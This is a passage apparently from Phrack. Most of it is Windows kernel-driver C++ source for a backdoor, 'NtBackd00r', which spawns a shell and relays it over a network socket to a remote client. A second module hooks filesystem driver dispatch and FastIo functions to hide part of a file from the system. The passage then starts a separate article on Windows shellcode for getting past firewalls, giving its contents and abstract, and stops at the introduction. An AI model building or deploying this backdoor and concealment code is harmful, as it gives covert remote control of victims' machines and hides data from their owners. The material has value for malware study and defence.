&Pipes->hPipeEvents[0], WaitAny, TRUE, NULL)) { //STATUS_WAIT_1 - read operation completed case STATUS_WAIT_1: // if (Pipes->Terminating) goto fin; if (!Pipes->hPipe) break; sending: { if (!send_iosb.Status) { resend: //Send read data to client status=thiz->send(send_buf, send_iosb.Information, send_buf); //If there wan an error, then it tried to push too much data in socket if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PENDING)) { //Wait for free space in buffer... KeDelayExecutionThread(KernelMode, TRUE, &ResendInterval); //...and retry goto resend; } } //send_buf alocated here, deleted in OnSendComplete send_buf = new(NonPagedPool) uchar[bufsize]; //Start asynchronous read status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL); //If there was a data in pipe buffer, it read instantly. if (status==STATUS_SUCCESS) //send it immediately goto sending; else { if (status!=STATUS_PENDING) { delete send_buf; //STATUS_PIPE_LISTENING - it's OK, process not connected to pipe yet if (status!=STATUS_PIPE_LISTENING) { //otherwise it was an error, disconnect client and terminate thread if (!Pipes->Terminating) thiz->disconnect(); goto fin; } } } }; break; //STATUS_WAIT_0 - write operation completed case STATUS_WAIT_0: if (Pipes->Terminating) goto fin; if (!Pipes->hPipe) break; //FIFO must be locked during all operation with it //to avoid conflicts thiz->pWBytePipe->Lock(); //At first look what crowd into FIFO,... rd = thiz->pWBytePipe->NumberOfItemsAvailableForRead(); if (rd) { //... then allocate appropriate amount of memory ... rcv_buf = new(NonPagedPool) uchar[rd]; //... and read all at once rd = thiz->pWBytePipe->Read(rcv_buf, rd); } thiz->pWBytePipe->Unlock(); if (rd) { status = ZwWriteFile(Pipes->hPipe, NULL, ApcCallbackWriteComplete, rcv_buf, &rcv_iosb, rcv_buf, rd, NULL, NULL); if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PIPE_LISTENING)&&(status!=STATUS_PENDING)) { //if there was an error, disconnect client and terminate thread if (!Pipes->Terminating) thiz->disconnect(); goto fin; } } break; case STATUS_ALERTED: break; default: goto fin; } fin: //If termination not initiated from outside, unlock socket if (!Pipes->Terminating) thiz->Unlock(); //If pipe exists, then all the rest exists too - //destroy it all if (Pipes->hPipe) { ZwClose(Pipes->hPipe); for (int i=0;i<=1;i++) ZwClose(Pipes->hPipeEvents[i]); CLIENT_ID clid = {Pipes->ChildPID, 0}; HANDLE hProcess; OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0, NULL, 0}; #define PROCESS_TERMINATE (0x0001) status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &attr, &clid); if (!status) { ZwTerminateProcess(hProcess, 0); ZwClose(hProcess); } } delete Pipes; PsTerminateSystemThread(0); } #define DISABLE_INTS __asm pushfd; cli #define RESTORE_INTS __asm popfd; VOID ShellStarter(IN PDEVICE_OBJECT DeviceObject, IN PVOID desc1) { OBJECT_ATTRIBUTES attr; HANDLE loc_hPipe, loc_hPipeEvents[2], loc_ChildPID; UNREFERENCED_PARAMETER(DeviceObject); #define desc ((s_WorkItemDesc*)desc1) //By course of business will check is there "cancel" command if (desc->WorkItemCanceled) goto cancel2; //Start shell loc_ChildPID = StartShell(&loc_hPipe); if (loc_ChildPID) { InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL); //Create 2 events to notify thread about data receipt //from socket or pipe for (int i=0;i<=1;i++) ZwCreateEvent(&loc_hPipeEvents[i], EVENT_ALL_ACCESS, &attr, SynchronizationEvent, FALSE); //Disable interrupts and write all handles to structure that is class member DISABLE_INTS if (!desc->WorkItemCanceled) { desc->thiz->m_Pipes->hPipe = loc_hPipe; desc->thiz->m_Pipes->hPipeEvents[0] = loc_hPipeEvents[0]; desc->thiz->m_Pipes->hPipeEvents[1] = loc_hPipeEvents[1]; desc->thiz->m_Pipes->ChildPID = loc_ChildPID; } RESTORE_INTS if (desc->WorkItemCanceled) goto cancel; //Create thread, that transfers data between named pipe and socket PsCreateSystemThread(&desc->thiz->hDataPumpThread, THREAD_ALL_ACCESS, NULL, 0, NULL, DataPumpThread, desc->thiz); } else { cancel: //In case of error or cancel close pipe, send error message to client, //and disconnect it ZwClose(loc_hPipe); char* errmess = new(NonPagedPool) char[sizeof(errtxt_shell)-1]; RtlCopyMemory(errmess, errtxt_shell, sizeof(errtxt_shell)-1); desc->thiz->send(errmess, sizeof(errtxt_shell)-1); desc->thiz->disconnect(); } cancel2: //Cleanup IoFreeWorkItem(desc->WorkItem); DISABLE_INTS desc->WorkItem = NULL; if (!desc->WorkItemCanceled) desc->thiz->m_WorkItemDesc = NULL; RESTORE_INTS ExFreePool(desc1); #undef desc } ///////////////////////////////////////////////////////////////////////// // Session -- Event handlers. BOOLEAN Session::OnConnect(uint AddressLength, PTRANSPORT_ADDRESS pTA, uint OptionsLength, PVOID Options) { // Connecting: print the IP address of the requestor and grant the connection #if(DBG) char szIPaddr[20]; inet_ntoa(PTDI_ADDRESS_IP(pTA->Address[0].Address)->in_addr, szIPaddr, sizeof(szIPaddr)); dprintf("NtBackd00rDevice: Connecting client, IP addr = %s, session %8X\n", szIPaddr, this); #endif // obtain a pointer to the KDriver derived class NtBackd00r* p = reinterpret_cast(KDriver::DriverInstance()); ASSERT(p); //Initialization of miscellaneous stuff pWBytePipe = NULL; hDataPumpThread = NULL; m_Pipes = new(NonPagedPool) s_Pipes; RtlZeroMemory(m_Pipes, sizeof s_Pipes); //Initialize and start WorkItem m_WorkItemDesc = ExAllocatePool(NonPagedPool, sizeof s_WorkItemDesc); #define pWorkItemDesc ((s_WorkItemDesc*)m_WorkItemDesc) pWorkItemDesc->WorkItemCanceled=false; pWorkItemDesc->thiz=this; pWorkItemDesc->WorkItem=IoAllocateWorkItem(*p->m_pDummyDevice); if (!pWorkItemDesc->WorkItem) return FALSE; //To make this work on NT4 replace IoQueueWorkItem with ExQueueWorkItem IoQueueWorkItem(pWorkItemDesc->WorkItem, &ShellStarter, CriticalWorkQueue, pWorkItemDesc); #undef pWorkItemDesc // Add this object to the session list maintained by the driver p->m_ActiveSessionList.InsertTail(this); UNREFERENCED_PARAMETERS4(AddressLength, pTA, OptionsLength, Options); return TRUE; } void Session::OnDisconnect(uint OptionsLength, PVOID Options, BOOLEAN bAbort) { dprintf("NtBackd00rDevice: Disconnecting client, session %8X\n", this); UNREFERENCED_PARAMETERS3(OptionsLength, Options,bAbort); } Session::~Session() { // obtain a pointer to the KDriver derived class NtBackd00r* p = reinterpret_cast(KDriver::DriverInstance()); ASSERT(p); // Remove this object from the session list maintained by the driver p->m_ActiveSessionList.Remove(this); //Set flas, that make thread to terminate m_Pipes->Terminating = true; //To not wait for yesterday in OnUnload hDataPumpThread = NULL; //Set event "let's finish" if ( m_Pipes && (m_Pipes->hPipeEvents[0])) ZwSetEvent(m_Pipes->hPipeEvents[0], NULL); //If WorkItem works, notify it about termination if (m_WorkItemDesc) ((s_WorkItemDesc*)m_WorkItemDesc)->WorkItemCanceled=true; delete pWBytePipe; } uint Session::OnReceive(uint Indicated, uchar *Data, uint Available, uchar **RcvBuffer, uint* RcvBufferLen) { // Received some data from the client peer. //If all required pointers and handles are valid if (m_Pipes && pWBytePipe && m_Pipes->hPipe) { //Write that data to FIFO pWBytePipe->LockedWrite(Data, Indicated); //And notify DataPumpThread ZwSetEvent(m_Pipes->hPipeEvents[0], NULL); } // Now, if the transport has more data available than indicated, // allocate another buffer to read the rest. When the transport // done with it - asynchronously - our OnReceiveComplete() handler // is called. Note that failure to submit a buffer supressed further // recieve indications - until and if a recv() is issued. if (Indicated < Available) { *RcvBuffer = new(NonPagedPool) uchar [*RcvBufferLen = Available-Indicated]; } return Indicated; } void Session::OnSendComplete(PVOID buf, TDI_STATUS status, uint bytecnt) { // Our send request has completed. Free the buffer if (status != TDI_SUCCESS) dprintf("NtBackd00rDevice: Failed sending data, err %X\n", status); //free the buffer delete ((uchar*)buf); UNREFERENCED_PARAMETER(bytecnt); } void Session::OnReceiveComplete(TDI_STATUS status, uint Indicated, uchar *Data) { // Buffer for the partially indicated data allocated and submitted during // OnReceive() processing is filled in by the transport. if (status == TDI_SUCCESS) { if (m_Pipes && pWBytePipe && m_Pipes->hPipe) { //Write that data to FIFO pWBytePipe->LockedWrite(Data, Indicated); //And notify DataPumpThread ZwSetEvent(m_Pipes->hPipeEvents[0], NULL); } } else dprintf("NtBackd00rDevice: Failed completing receive, err %X\n", status); if (status != TDI_PENDING) delete Data; } // end of file ---[ 8.10 - Intercept.cpp //This module hooks: // IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_QUERY_INFORMATION, // IRP_MJ_SET_INFORMATION, IRP_MJ_DIRECTORY_CONTROL, // FASTIO_QUERY_STANDARD_INFO FASTIO_QUERY_BASIC_INFO FASTIO_READ(WRITE) //to hide first N bytes of given file extern "C" { #include } #pragma hdrstop("InterceptIO.pch") ///////////////////////////////////////////////////////////////////// // Undocumented structures missing in ntddk.h typedef struct _FILE_INTERNAL_INFORMATION { // Information Class 6 LARGE_INTEGER FileId; } FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; typedef struct _FILE_EA_INFORMATION { // Information Class 7 ULONG EaInformationLength; } FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; typedef struct _FILE_ACCESS_INFORMATION { // Information Class 8 ACCESS_MASK GrantedAccess; } FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; typedef struct _FILE_MODE_INFORMATION { // Information Class 16 ULONG Mode; } FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; typedef struct _FILE_ALLOCATION_INFORMATION { // Information Class 19 LARGE_INTEGER AllocationSize; } FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; typedef struct _FILE_DIRECTORY_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; WCHAR FileName[1]; } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; typedef struct _FILE_ALL_INFORMATION { // Information Class 18 FILE_BASIC_INFORMATION BasicInformation; FILE_STANDARD_INFORMATION StandardInformation; FILE_INTERNAL_INFORMATION InternalInformation; FILE_EA_INFORMATION EaInformation; FILE_ACCESS_INFORMATION AccessInformation; FILE_POSITION_INFORMATION PositionInformation; FILE_MODE_INFORMATION ModeInformation; FILE_ALIGNMENT_INFORMATION AlignmentInformation; FILE_NAME_INFORMATION NameInformation; } FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; typedef struct tag_QUERY_DIRECTORY { ULONG Length; PUNICODE_STRING FileName; FILE_INFORMATION_CLASS FileInformationClass; ULONG FileIndex; } QUERY_DIRECTORY, *PQUERY_DIRECTORY; #pragma pack(push, 4) typedef struct tag_FQD_SmallCommonBlock { ULONG NextEntryOffset; ULONG FileIndex; } FQD_SmallCommonBlock, *PFQD_SmallCommonBlock; typedef struct tag_FQD_FILE_ATTR { TIME CreationTime; TIME LastAccessTime; TIME LastWriteTime; TIME ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; } FQD_FILE_ATTR, *PFQD_FILE_ATTR; typedef struct tag_FQD_CommonBlock { FQD_SmallCommonBlock SmallCommonBlock; FQD_FILE_ATTR FileAttr; ULONG FileNameLength; } FQD_CommonBlock, *PFQD_CommonBlock; typedef struct _KFILE_DIRECTORY_INFORMATION { FQD_CommonBlock CommonBlock; WCHAR FileName[ANYSIZE_ARRAY]; } KFILE_DIRECTORY_INFORMATION, *PKFILE_DIRECTORY_INFORMATION; typedef struct _KFILE_FULL_DIR_INFORMATION { FQD_CommonBlock CommonBlock; ULONG EaSize; WCHAR FileName[ANYSIZE_ARRAY]; } KFILE_FULL_DIR_INFORMATION, *PKFILE_FULL_DIR_INFORMATION; typedef struct _KFILE_BOTH_DIR_INFORMATION { FQD_CommonBlock CommonBlock; ULONG EaSize; USHORT ShortFileNameLength; WCHAR ShortFileName[12]; WCHAR FileName[ANYSIZE_ARRAY]; } KFILE_BOTH_DIR_INFORMATION, *PKFILE_BOTH_DIR_INFORMATION; #pragma pack(pop) ///////////////////////////////////////////////////////////////////// // Global variables PDRIVER_OBJECT pDriverObject; PDRIVER_DISPATCH OldReadDisp, OldWriteDisp, OldQueryDisp, OldSetInfoDisp, OldDirCtlDisp; PFAST_IO_READ OldFastIoReadDisp; PFAST_IO_WRITE OldFastIoWriteDisp; PFAST_IO_QUERY_STANDARD_INFO OldFastIoQueryStandartInfoDisp; //Size of our file's Invisible Part (in bytes) ULONG InvisiblePartSize = 10; //File, part of which we want to hide wchar_t OurFileName[] = L"testing.fil"; //Size of OurFileName in bytes, excluding null terminator ULONG OurFileNameLen = sizeof(OurFileName) - sizeof(wchar_t); ///////////////////////////////////////////////////////////////////// // Functions //Function returns true if FN matches OurFileName bool ThisIsOurFile(PUNICODE_STRING FN) { return ((FN->Buffer) && (FN->Length >= OurFileNameLen) && _wcsnicmp((wchar_t*)((char*)FN->Buffer + FN->Length - OurFileNameLen), OurFileName, OurFileNameLen/2)==0); } //Structure used to track IRPs which completion must be handled struct s_ComplRtnTrack { PIO_COMPLETION_ROUTINE CompletionRoutine; PVOID Context; //When CompletionRoutine is called, flags corresponds to InvokeOn* UCHAR Control; PIO_STACK_LOCATION CISL; FILE_INFORMATION_CLASS FileInformationClass; PVOID Buffer; }; //Function set new CompletionRoutine, InvokeOnSuccess flag, //and copies original fields to Context void HookIrpCompletion(PIO_STACK_LOCATION CISL, PIO_COMPLETION_ROUTINE CompletionRoutine, PVOID Buffer, FILE_INFORMATION_CLASS FileInformationClass) { s_ComplRtnTrack* NewContext = (s_ComplRtnTrack*)ExAllocatePool(NonPagedPool, sizeof(s_ComplRtnTrack)); NewContext->CompletionRoutine = CISL->CompletionRoutine; NewContext->Context = CISL->Context; NewContext->Control = CISL->Control; NewContext->CISL = CISL; //Since CISL.Parameters unavailabile in IrpCompletion handler, //let's save all necessary data in Context structure NewContext->FileInformationClass = FileInformationClass; NewContext->Buffer = Buffer; CISL->CompletionRoutine = CompletionRoutine; CISL->Context = NewContext; CISL->Control |= SL_INVOKE_ON_SUCCESS; } //Function handles IRP completion NTSTATUS NewComplRtn ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, s_ComplRtnTrack* CXT) { //Handle different types of IRP switch (CXT->CISL->MajorFunction) { case IRP_MJ_QUERY_INFORMATION: _asm int 3; //ThisIsOurFile is already tested switch (CXT->FileInformationClass) { //In all cases modify CurrentByteOffset and/or size (EndOfFile) //to hide first InvisiblePartSize bytes case FilePositionInformation: ((PFILE_POSITION_INFORMATION)CXT->Buffer)->CurrentByteOffset.QuadPart -= InvisiblePartSize; break; case FileEndOfFileInformation: ((PFILE_END_OF_FILE_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -= InvisiblePartSize; break; case FileStandardInformation: ((PFILE_STANDARD_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -= InvisiblePartSize; break; case FileAllocationInformation: ((PFILE_ALLOCATION_INFORMATION)CXT->Buffer)->AllocationSize.QuadPart -= InvisiblePartSize; break; case FileAllInformation: ((PFILE_ALL_INFORMATION)CXT->Buffer)->PositionInformation.CurrentByteOffset.QuadPart -= InvisiblePartSize; ((PFILE_ALL_INFORMATION)CXT->Buffer)->StandardInformation.EndOfFile.QuadPart -= InvisiblePartSize; break; } case IRP_MJ_DIRECTORY_CONTROL: //Get a pointer to first directory entries PFQD_SmallCommonBlock pQueryDirWin32 = (PFQD_SmallCommonBlock)CXT->Buffer; //Cycle through directory entries while (1) { PWCHAR pFileName = 0; ULONG dwFileNameLength = 0; switch (CXT->FileInformationClass) { //In all cases get pointer to FileName and FileNameLength case FileDirectoryInformation: dwFileNameLength = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength; pFileName = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->FileName; break; case FileFullDirectoryInformation: dwFileNameLength = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength; pFileName = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->FileName; break; case FileBothDirectoryInformation: dwFileNameLength = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength; pFileName = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->FileName; break; } //_asm int 3; //Is this file that we want? if ((dwFileNameLength == OurFileNameLen) && _wcsnicmp(pFileName, OurFileName, OurFileNameLen/2)==0) { //_asm int 3; //Hide first InvisiblePartSize bytes ((PFQD_CommonBlock)pQueryDirWin32)->FileAttr.EndOfFile.QuadPart -= InvisiblePartSize; break; } //Quit if no more directory entries if (!pQueryDirWin32->NextEntryOffset) break; //Continue with next directory entry pQueryDirWin32 = (PFQD_SmallCommonBlock)((CHAR*)pQueryDirWin32 + pQueryDirWin32->NextEntryOffset); } } //If appropriate Control flag was set,... if ( ((CXT->Control == SL_INVOKE_ON_SUCCESS)&&(NT_SUCCESS(Irp->IoStatus.Status))) || ((CXT->Control == SL_INVOKE_ON_ERROR)&&(NT_ERROR(Irp->IoStatus.Status))) || ((CXT->Control == SL_INVOKE_ON_CANCEL)&&(Irp->IoStatus.Status == STATUS_CANCELLED)) ) //...call original CompletionRoutine return CXT->CompletionRoutine( DeviceObject, Irp, CXT->Context); else return STATUS_SUCCESS; } //Filename IRP handler deal with #define FName &(CISL->FileObject->FileName) //Function handles IRP_MJ_READ and IRP_MJ_WRITE NTSTATUS NewReadWriteDisp ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { //_asm int 3; PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); if (CISL->FileObject && //Don't mess with swaping !(Irp->Flags & IRP_PAGING_IO) && !(Irp->Flags & IRP_SYNCHRONOUS_PAGING_IO)) { if (ThisIsOurFile(FName)) { //_asm int 3; CISL->Parameters.Write.ByteOffset.QuadPart += InvisiblePartSize; //Write and Read has the same structure, thus handled together } } //Call corresponding original handler switch (CISL->MajorFunction) { case IRP_MJ_READ: return OldReadDisp(DeviceObject, Irp); case IRP_MJ_WRITE: return OldWriteDisp(DeviceObject, Irp); } } //Function handles IRP_MJ_QUERY_INFORMATION NTSTATUS NewQueryDisp ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { //_asm int 3; PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); if ((CISL->MajorFunction == IRP_MJ_QUERY_INFORMATION) && ThisIsOurFile(FName)) { //_asm int 3; switch (CISL->Parameters.QueryFile.FileInformationClass) { //Information types that contains file size or current offset case FilePositionInformation: case FileEndOfFileInformation: case FileStandardInformation: case FileAllocationInformation: case FileAllInformation: //_asm int 3; HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, Irp->AssociatedIrp.SystemBuffer, CISL->Parameters.QueryFile.FileInformationClass); } } //Call original handler return OldQueryDisp(DeviceObject, Irp); } //Function handles IRP_MJ_SET_INFORMATION NTSTATUS NewSetInfoDisp ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { //_asm int 3; PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); if (CISL->FileObject && ThisIsOurFile(FName)) { //_asm int 3; switch (CISL->Parameters.QueryFile.FileInformationClass) { //Information types that contains file size or current offset. //In all cases modify CurrentByteOffset and/or size (EndOfFile) //to hide first InvisiblePartSize bytes case FilePositionInformation: ((PFILE_POSITION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->CurrentByteOffset.QuadPart += InvisiblePartSize; break; case FileEndOfFileInformation: ((PFILE_END_OF_FILE_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize; break; case FileStandardInformation: ((PFILE_STANDARD_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize; break; case FileAllocationInformation: //_asm int 3; ((PFILE_ALLOCATION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->AllocationSize.QuadPart += InvisiblePartSize; break; case FileAllInformation: ((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->PositionInformation.CurrentByteOffset.QuadPart += InvisiblePartSize; ((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->StandardInformation.EndOfFile.QuadPart += InvisiblePartSize; break; } } //Call original handler return OldSetInfoDisp(DeviceObject, Irp); } //Function handles IRP_MJ_DIRECTORY_CONTROL NTSTATUS NewDirCtlDisp ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { void *pBuffer; PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); //_asm int 3; if ((CISL->MajorFunction == IRP_MJ_DIRECTORY_CONTROL) && (CISL->MinorFunction == IRP_MN_QUERY_DIRECTORY)) { //Handle both ways of passing user supplied buffer if (Irp->MdlAddress) pBuffer = MmGetSystemAddressForMdl(Irp->MdlAddress); else pBuffer = Irp->UserBuffer; HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, pBuffer, ((PQUERY_DIRECTORY)(&CISL->Parameters))->FileInformationClass); } //Call original handler return OldDirCtlDisp(DeviceObject, Irp); } #undef FName //Function handles FastIoRead BOOLEAN NewFastIoRead( IN PFILE_OBJECT FileObject, IN PLARGE_INTEGER FileOffset, IN ULONG Length, IN BOOLEAN Wait, IN ULONG LockKey, OUT PVOID Buffer, OUT PIO_STATUS_BLOCK IoStatus, IN PDEVICE_OBJECT DeviceObject ) { LARGE_INTEGER NewFileOffset; //_asm int 3; if ((FileObject) && (ThisIsOurFile(&FileObject->FileName))) { //_asm int 3; //Modify FileOffset to hide first InvisiblePartSize bytes NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize; return OldFastIoReadDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer, IoStatus, DeviceObject); } //Call original handler return OldFastIoReadDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer, IoStatus, DeviceObject); } //Function handles FastIoWrite BOOLEAN NewFastIoWrite( IN PFILE_OBJECT FileObject, IN PLARGE_INTEGER FileOffset, IN ULONG Length, IN BOOLEAN Wait, IN ULONG LockKey, OUT PVOID Buffer, OUT PIO_STATUS_BLOCK IoStatus, IN PDEVICE_OBJECT DeviceObject ) { LARGE_INTEGER NewFileOffset; //_asm int 3; if ((FileObject) && (ThisIsOurFile(&FileObject->FileName))) { //_asm int 3; //Modify FileOffset to hide first InvisiblePartSize bytes NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize; return OldFastIoWriteDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer, IoStatus, DeviceObject); } return OldFastIoWriteDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer, IoStatus, DeviceObject); } //Function handles FastIoQueryStandartInfo BOOLEAN NewFastIoQueryStandartInfo( IN struct _FILE_OBJECT *FileObject, IN BOOLEAN Wait, OUT PFILE_STANDARD_INFORMATION Buffer, OUT PIO_STATUS_BLOCK IoStatus, IN struct _DEVICE_OBJECT *DeviceObject ) { //Call original handler BOOLEAN status = OldFastIoQueryStandartInfoDisp(FileObject, Wait, Buffer, IoStatus, DeviceObject); if ((FileObject) && (ThisIsOurFile(&FileObject->FileName))) { //_asm int 3; //Modify EndOfFile to hide first InvisiblePartSize bytes Buffer->EndOfFile.QuadPart -= InvisiblePartSize; } return status; } extern "C" NTSYSAPI NTSTATUS NTAPI ObReferenceObjectByName( IN PUNICODE_STRING ObjectPath, IN ULONG Attributes, IN PACCESS_STATE PassedAccessState OPTIONAL, IN ACCESS_MASK DesiredAccess OPTIONAL, IN POBJECT_TYPE ObjectType, IN KPROCESSOR_MODE AccessMode, IN OUT PVOID ParseContext OPTIONAL, OUT PVOID *ObjectPtr ); extern "C" PVOID IoDriverObjectType; //Function hooks given dispatch function (MajorFunction) VOID InterceptFunction(UCHAR MajorFunction, PDRIVER_OBJECT pDriverObject, OPTIONAL PDRIVER_DISPATCH *OldFunctionPtr, OPTIONAL PDRIVER_DISPATCH NewFunctionPtr) { PDRIVER_DISPATCH *TargetFn; TargetFn = &(pDriverObject->MajorFunction[MajorFunction]); //hook only if handler exists if (*TargetFn) { if (OldFunctionPtr) *OldFunctionPtr = *TargetFn; if (NewFunctionPtr) *TargetFn = NewFunctionPtr; } } //Function hooks given driver's dispatch functions NTSTATUS Intercept(PWSTR pwszDeviceName) { UNICODE_STRING DeviceName; NTSTATUS status; KIRQL OldIrql; _asm int 3; pDriverObject = NULL; RtlInitUnicodeString(&DeviceName, pwszDeviceName); status = ObReferenceObjectByName(&DeviceName, OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDriverObject); if (pDriverObject) { //Raise IRQL to avoid context switch //when some pointer is semi-modified KeRaiseIrql(HIGH_LEVEL, &OldIrql); //hook dispatch functions InterceptFunction(IRP_MJ_READ, pDriverObject, &OldReadDisp, NewReadWriteDisp); InterceptFunction(IRP_MJ_WRITE, pDriverObject, &OldWriteDisp, NewReadWriteDisp); InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, &OldQueryDisp, NewQueryDisp); InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, &OldSetInfoDisp, NewSetInfoDisp); InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, &OldDirCtlDisp, NewDirCtlDisp); //hook FastIo dispatch functions if FastIo table exists if (pDriverObject->FastIoDispatch) { //íà çàùèòó ïàìÿòè ÿäðà â w2k [rus] //It would be better to copy FastIo table to avoid //messing with kernel memory protection, but it works as it is OldFastIoReadDisp = pDriverObject->FastIoDispatch->FastIoRead; pDriverObject->FastIoDispatch->FastIoRead = NewFastIoRead; OldFastIoWriteDisp = pDriverObject->FastIoDispatch->FastIoWrite; pDriverObject->FastIoDispatch->FastIoWrite = NewFastIoWrite; OldFastIoQueryStandartInfoDisp = pDriverObject->FastIoDispatch->FastIoQueryStandardInfo; pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = NewFastIoQueryStandartInfo; } KeLowerIrql(OldIrql); } return status; } //Function cancels hooking VOID UnIntercept() { KIRQL OldIrql; if (pDriverObject) { KeRaiseIrql(HIGH_LEVEL, &OldIrql); InterceptFunction(IRP_MJ_READ, pDriverObject, NULL, OldReadDisp); InterceptFunction(IRP_MJ_WRITE, pDriverObject, NULL, OldWriteDisp); InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, NULL, OldQueryDisp); InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, NULL, OldSetInfoDisp); InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, NULL, OldDirCtlDisp); if (pDriverObject->FastIoDispatch) { pDriverObject->FastIoDispatch->FastIoRead = OldFastIoReadDisp; pDriverObject->FastIoDispatch->FastIoWrite = OldFastIoWriteDisp; pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = OldFastIoQueryStandartInfoDisp; } KeLowerIrql(OldIrql); ObDereferenceObject(pDriverObject); } } |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0xXX, Issue 0x3e, Phile #0x07 of 0x10 |=-----------=[ History and Advances in Windows Shellcode ]=-------------=| |=-----------------------------------------------------------------------=| |=---------------=[ sk ]=----------------=| |=------------------------=[ June 22nd, 2004 ]=--------------------------=| --[ Contents 1. Abstract 2. Introduction to shellcode a. Why shellcode? b. Windows shellcode skeleton i. Getting EIP ii. Decoder iii. Getting address of required function iv. Locating Kernel32 base memory v. Getting GetProcAddress() vi. Getting other functions by name vii. Spawning a shell c. Compiling our shellcode 3. The connection a. Bind to port shellcode i. Bind to port shellcode implementation ii. Problem with Bind to port shellcode b. Reverse connect i. Reverse connect shellcode implementation ii. Problem with reverse connect shellcode 4. One-way shellcode a. Find socket shellcode i. Problem with find socket shellcode b. Reuse address shellcode i. Reuse address shellcode implementation ii. Problem with reuse address shellcode c. Rebind socket i. Rebind socket shellcode implementation d. Other one-way shellcode 5. Transferring file using shellcode a. Uploading file with debug.exe b. Uploading file with VBS c. Retrieving file from command line 6. Avoiding IDS detection 7. Restarting vulnerable service 8. End of shellcode? 9. Greetz! 10. References 11. The code --[ 1. Abstract Firewall is everywhere in the Internet now. Most of the exploits released in the public have little concern over firewall rules because they are just proof of concept. In real world, we would encounter targets with firewall that will make exploitation harder. We need to overcome these obstacles for a successful penetration testing job. The research of this paper started when we need to take over (own) a machine which is heavily protected with rigid firewall rules. Although we can reach the vulnerable service but the strong firewall rules between us and the server hinder all standard exploits useless. The objective of the research is to find alternative ways which allow penetration tester to take control of a machine after a successful buffer overflow. A successful buffer overflow in a sense that it will eventually leads to arbitrary code execution. These alternative mechanisms should succeed where others fail even in the most rigid firewall rules. In our research to find a way to by pass these troublesome firewall rules, we looked into various existing techniques used by exploits in the public and why they fail. Then, we found several mechanisms that will work, but dependence to the vulnerable service. Although we can take over the server using these techniques, we take one step further to develop a more generic technique which is not dependence to any service and can be reuse in most other buffer overflows. This paper will start with dissection on a standard Win32 shellcode as an introduction. We will then explore the techniques being used by proof of concept codes to allow attacker to control the target and their limitations. Then, we will introduce a few alternatives techniques which we call "One-way shellcode" and how they may by pass firewall rules. Finally, we also discussed on a possible way to transfer file from command line without breaking the firewall rule. --[ 2. Introduction to shellcode An exploit usually consists of two major components: 1. Exploitation technique 2. Payload The objective of the exploitation part is to divert the execution path of the vulnerable program. We can achieve that via one of these techniques: 